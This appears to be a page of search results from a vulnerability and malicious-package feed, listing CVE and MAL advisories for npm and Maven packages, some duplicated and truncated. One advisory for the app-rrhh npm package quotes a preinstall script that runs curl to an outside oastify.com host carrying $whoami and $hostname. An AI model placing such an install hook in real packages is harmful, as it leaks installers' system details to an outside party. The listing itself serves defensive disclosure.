44487 matches found
current-impact (1.0.0), nmea-streamer (>=1.0.1, <=2.2.0) potentially affected by CVE-2026-55591 via signalk-server (1.46.3)
signalk-server NPM version 1.46.3 is affected by a known vulnerability. The following packages have a transitive dependency on signalk-server and may be impacted: - current-impact 1.0.0 - nmea-streamer =1.0.1, =2.2.0 Source cves: CVE-2026-55591 Source advisory: MEND:CVE-2026-55591...
@contentful/mcp-server (>=1.7.0-dev-20251016T1739-07b05ef.0, <=1.7.18), @iflow-mcp/contentful-contentful-mcp-server (>=1.7.7, <=1.7.8) potentially affected by CVE-2026-53957 via @contentful/mcp-tools (>=0.1.0, <=0.4.4)
@contentful/mcp-tools NPM version =0.1.0, =1.7.0-dev-20251016T1739-07b05ef.0, =1.7.7, =1.7.8 Source cves: CVE-2026-53957 Source advisory: MEND:CVE-2026-53957...
CVE-2026-57586 CodeRAG: Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution
CodeRAG is a lightweight semantic code search and distillation utility for AI coding agents. Prior to 1.3.1, the default agent-coderag sync flow in coderag/entry/cli.py calls syncdependencies for an indexed path, and coderag/core/manager.py treats build.gradle or build.gradle.kts as sufficient to...
CVE-2026-57586 CodeRAG: Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution
CodeRAG is a lightweight semantic code search and distillation utility for AI coding agents. Prior to 1.3.1, the default agent-coderag sync flow in coderag/entry/cli.py calls syncdependencies for an indexed path, and coderag/core/manager.py treats build.gradle or build.gradle.kts as sufficient to...
CVE-2026-57586 CodeRAG: Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution
CodeRAG is a lightweight semantic code search and distillation utility for AI coding agents. Prior to 1.3.1, the default agent-coderag sync flow in coderag/entry/cli.py calls syncdependencies for an indexed path, and coderag/core/manager.py treats build.gradle or build.gradle.kts as sufficient to...
dependency-track v4.14.4
OWASP Dependency-Track Dependency-Track is an intelligent Component Analysis platform that allows organizations to identify and reduce risk in the software supply chain. Dependency-Track takes a unique and highly beneficial approach by leveraging the capabilities of Software Bill of Materials SBO...
osv-scanner v2.6.0
Use OSV-Scanner to find existing vulnerabilities affecting your project's dependencies. OSV-Scanner provides an officially supported frontend to the OSV database and CLI interface to OSV-Scalibr that connects a project’s list of dependencies with the vulnerabilities that affect them. OSV-Scanner...
io.github.valdemargr:gql-http4s_3 (>=0.1-a2fae94, <=0.1-6257648), io.github.valdemargr:gql-server-http4s_3 (>=0.1-5acc59b, <=0.2.8-23-b552e1c) +1 more potentially affected by CVE-2026-73494 via org.http4s:http4s-blaze-server_3 (>=1.0.0-m23, <=1.0.0-m36)
org.http4s:http4s-blaze-server3 MAVEN version =1.0.0-m23, =0.1-a2fae94, =0.1-5acc59b, =0.12.2, =0.14.5 Source cves: CVE-2026-73494 Source advisory: SNYK:JAVA-ORGHTTP4S-19822093...
MAL-2026-16155 Malicious code in ultra-ws (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a3cd852fb9e34a4705cad99a8022db52461e1325daddfa1425df17bbc3b7ac08 package.json declares a dependency node-net-pool whose source is a tarball URL on the main branch of a random third-party GitHub account...
Malicious code in ultra-ws (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a3cd852fb9e34a4705cad99a8022db52461e1325daddfa1425df17bbc3b7ac08 package.json declares a dependency node-net-pool whose source is a tarball URL on the main branch of a random third-party GitHub account...
@dteam/safe-signer (0.1.0), @extrimian/kms-storage-vault (>=1.1.0, <=1.6.2) +15 more potentially affected by CVE-2026-55102 via hashi-vault-js (>=0.4.11, <=0.4.16)
hashi-vault-js NPM version =0.4.11, =1.1.0, =1.0.0, =1.0.0, =1.0.0, =1.0.0, =0.0.1-beta.1, =3.1.13, =0.1.0, =1.0.0, =1.0.0, =0.0.1, =0.0.2 and more Source cves: CVE-2026-55102 Source advisory: MEND:CVE-2026-55102...
@activeboxes/piece-image-helper (0.1.0), @activepieces/piece-image-helper (>=0.0.5, <=0.1.15) +68 more potentially affected by CVE-2026-53496 via exifreader (>=2.8.2, <=4.39.1)
exifreader NPM version =2.8.2, =0.0.5, =1.8.0-dev.1617120897319, =1.0.2, =2.2.8, =2.1.11, =1.1.17, =1.0.6, =0.5.0, =0.0.17, =4.10.0, =4.10.2 and more Source cves: CVE-2026-53496 Source advisory: MEND:CVE-2026-53496...
MAL-2026-16144 Malicious code in app-rrhh (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88 package.json declares a preinstall script that runs curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$whoami/$hostname on npm install. The...
Malicious code in app-rrhh (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88 package.json declares a preinstall script that runs curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$whoami/$hostname on npm install. The...
CVE-2026-82428
Description Dependency artifacts uploaded with storm jar --artifacts were stored under a blob key derived only from the Maven coordinate, for example dep---.jar. The key was therefore identical for every user of the cluster and predictable in advance. When the blob already existed, the uploader...
org.apache.syncope.client.am:syncope-client-am-console (>=4.0.4, <=4.0.7), org.apache.syncope.client.am:syncope-client-am-enduser (>=4.0.4, <=4.0.7) +12 more potentially affected by CVE-2026-78318 via org.apache.syncope.client.idrepo:syncope-client-idrepo-common-ui (>=4.0.4, <=4.0.7)
org.apache.syncope.client.idrepo:syncope-client-idrepo-common-ui MAVEN version =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4,...
EUVD-2026-77529
Description Dependency artifacts uploaded with storm jar --artifacts were stored under a blob key derived only from the Maven coordinate, for example dep---.jar. The key was therefore identical for every user of the cluster and predictable in advance. When the blob already existed, the uploader...
CVE-2026-82428 Apache Storm Client: Cross-Tenant Dependency Jar Substitution via Predictable Blob Keys
Description Dependency artifacts uploaded with storm jar --artifacts were stored under a blob key derived only from the Maven coordinate, for example dep---.jar. The key was therefore identical for every user of the cluster and predictable in advance. When the blob already existed, the uploader...
CVE-2026-82428 Apache Storm Client: Cross-Tenant Dependency Jar Substitution via Predictable Blob Keys
Description Dependency artifacts uploaded with storm jar --artifacts were stored under a blob key derived only from the Maven coordinate, for example dep---.jar. The key was therefore identical for every user of the cluster and predictable in advance. When the blob already existed, the uploader...
CVE-2026-82428
The Apache Storm Client is vulnerable to cross-tenant dependency jar substitution due to predictable blob keys. When using the storm jar --artifacts feature, dependency artifacts are stored under keys derived solely from Maven coordinates (e.g., dep---.jar). Because these keys are predictable and...